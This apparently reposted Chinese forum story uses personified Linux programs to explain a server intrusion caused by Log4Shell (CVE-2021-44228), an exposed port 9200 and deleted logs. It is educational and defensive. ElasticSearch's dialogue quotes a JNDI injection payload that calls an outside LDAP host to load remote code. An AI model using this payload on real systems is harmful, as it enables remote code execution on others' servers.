社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Elasticsearch

服务器被入侵,ElasticSearch竟是内鬼!

轩辕的编程宇宙 • 5 天前 • 14 次点击  

神秘的入侵

却说这一日,天刚蒙蒙亮,整个Linux帝国尚在沉睡之中,忽然,一声尖锐的警报打破宁静!

“报告部长!”安全检测中心传来急报,“我们发现了一条异常的外连请求,目标IP疑似恶意C2服务器,请立即处理!”

安全部长猛地睁眼,披上外套,召集众程序紧急开会。

会议室里一片寂静,top和ps看了一下,像上次一样,依然没有找到可疑的进程。

unhide站了出来:“我来试试”

不多时,unhide果然抓出了一个鬼鬼祟祟的进程,kill老哥,手起刀落,干脆利落地将其终结,随后删除了相关的可疑文件。

“这回干净了。”kill拍拍手。

可部长眉头紧锁:“没那么简单,这恶意程序是怎么进来的?”

众程序面面相觑,竟不约而同的把目光投向了一旁的Redis。

Redis吓得一个哆嗦:“不会又怀疑是我吧?上次的事我还心有余悸呢!我已经改了密码、关闭了远程访问,还天天盯着~/.ssh/authorized_keys看,真不是我!”

详情回顾:CPU深夜狂飙,Redis竟是内鬼!

部长看了他一眼,没有说话,转身吩咐:“所有程序,从现在起,排查各自日志,查清入侵路径!”

众程序如临大敌,纷纷动手翻阅各自的日志文件。

不一会儿,Nginx面露难色的说到:“不好了!我昨晚的日志,都被人给删除了!”

“我的也是”,tomcat也说到。

“还有我的也被删了”,MySQL也说到:“昨晚执行的查询记录全都不见了”。

会议室里的气氛跌到了冰点,看来这次遇到了硬茬了。

秘密武器

就在大家一筹莫展之际,防火墙凑到安全部长身边说到:“部长,咱还有秘密武器,要不让它试试?”

随后部长和防火墙起身离开,来到了安全检测中心,一个神秘的身影走了过来,定睛一看,头上写着:全流量安全分析系统NTSA

“部长,有什么可以为您效劳的”

“我要你查过去24小时内,所有的网络通信连接。”,部长说到。

“这可有点多,您稍等一下”,NTSA打开了庞大的流量日志界面。顿时,一屏幕的数据如潮水般涌出。

防火墙问到:“怎么这么多数据?”

“我名叫全流量安全分析系统,记录了系统过去一段时间内发生的所有网络通信连接,连原始数据包都一个不落的记录在案,所以数据自然是多了一点”,NTSA说到。

“你最大能记录多久的数据?”安全部长问到。

“这个不一定,取决于流量大小和存储空间,像咱们这里的情况,我存个1个月的数据应该问题不大”

部长没有说话,眼睛盯着屏幕上闪过的每一条数据,生怕漏掉了什么。

“这些都是HTTPS流量,加了密的,看不见内容,可惜了”,防火墙叹了口气。

“那也得看,必须把它揪出来”,部长咬牙说道。

大家盯着滚动的数据,一个个眼睛都看花了。

竟然是它

话分两头,会议室这边,众程序还在忙碌着。

“刚刚安全部长在,我不好问……你们的日志是真被删了,还是你们自己删的?”,Redis悄悄问到。

Nginx一听急了,“你这家伙不要乱扣帽子,上次你栽了跟头,这次想拉我们也下水吗?”

tomcat给了Redis一拳,恶狠狠的瞪了一眼,Redis连忙说到:“开个玩笑,别当真,嘿嘿”

突然,门“哐当”一声打开,安全部长带着防火墙回来了,脸色铁青。

“昨天晚上,谁使用过36560号端口与外面通信?”安全部长厉声问道。

众程序一听开始议论纷纷。

这时,防火墙补充:“昨天凌晨两点四十一分,本机的36560端口发起了一条外连,目标IP就是刚刚恶意程序连接的那个C2地址!”

众程序听后连连摇头,纷纷表示不是自己。最后,只见角落里一个身影慢慢举起了手,是ElasticSearch。

“不会吧,是你?”Nginx下意识地退了半步。

ElasticSearch面色苍白:“我想起来了,我昨晚收到一个查询请求,然后打了个日志logger.info("···{}", var),这个var的内容是${jndi:ldap://145.67.89.123:13389/Exploit},我连接这个地址的时候,用了一下36560号端口……”

“我昨晚可没给你发请求啊”,Tomcat赶紧撇清关系。

“你打印日志,为什么要发起网络连接?还有,这个JNDI是个什么东西?”,部长有些生气地问道。

Tomcat起身说道:“这个我知道!这是Log4j的一个特性,我们Java家族的都知道,它可以在日志中解析JNDI表达式,并自动尝试加载远程对象……哎,你该不会中了Log4j的RCE漏洞了吧!”

“等等,听得有点糊涂,这是个什么漏洞?”,Nginx问到。

Tomcat解释道:“这个漏洞叫 Log4Shell,CVE 编号是 CVE-2021-44228。攻击者只要让一段特殊的字符串进入打印日志的地方,就能远程触发 Log4j 加载并执行恶意代码。”

见众程序还是一头雾水,Tomcat继续补充:“我们Java中的对象不仅可以存在于内存中,还可以被序列化成字节流,也能通过 class 文件反序列化还原成对象。当你加载一个远程类时,就会去那个地址拉下一个 .class 文件,然后执行里面的构造方法。所以只要攻击者构造一个带恶意代码的类,放在他控制的服务器上,Log4j一连接上去就会自动下载这个类,并在你机器上执行恶意代码了,这下明白了吧”

众程序总算听明白了,部长怒视着ElasticSearch:“你为什么会对外提供访问?防火墙没有禁掉9200端口吗?”

防火墙一听赶紧查询了一下历史记录:“报告部长,前几天,有个刚入职两周半的实习生,为了方便测试接口,就直接在我这加了条放行规则,把9200端口开放出去了……后面就忘记给关上。”

一听这话,全场哗然!

部长沉默片刻,缓缓开口:“马上封锁9200端口,ElasticSearch,你赶紧把Log4j版本升级一下。同时,把这次事件写成安全通报,在Linux帝国全网通报!”

工作部署完毕,众程序散去,这场危机总算解除了。

安全部长抬头望去,清晨的第一缕阳光刚刚照进了机房,新的一天开始了。

彩蛋

“部长!不好了!”

“又怎么了?”

“MySQL 的数据……全被加密了!”

“什么?!”

(未完待续)

往期推荐


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/183193
 
14 次点击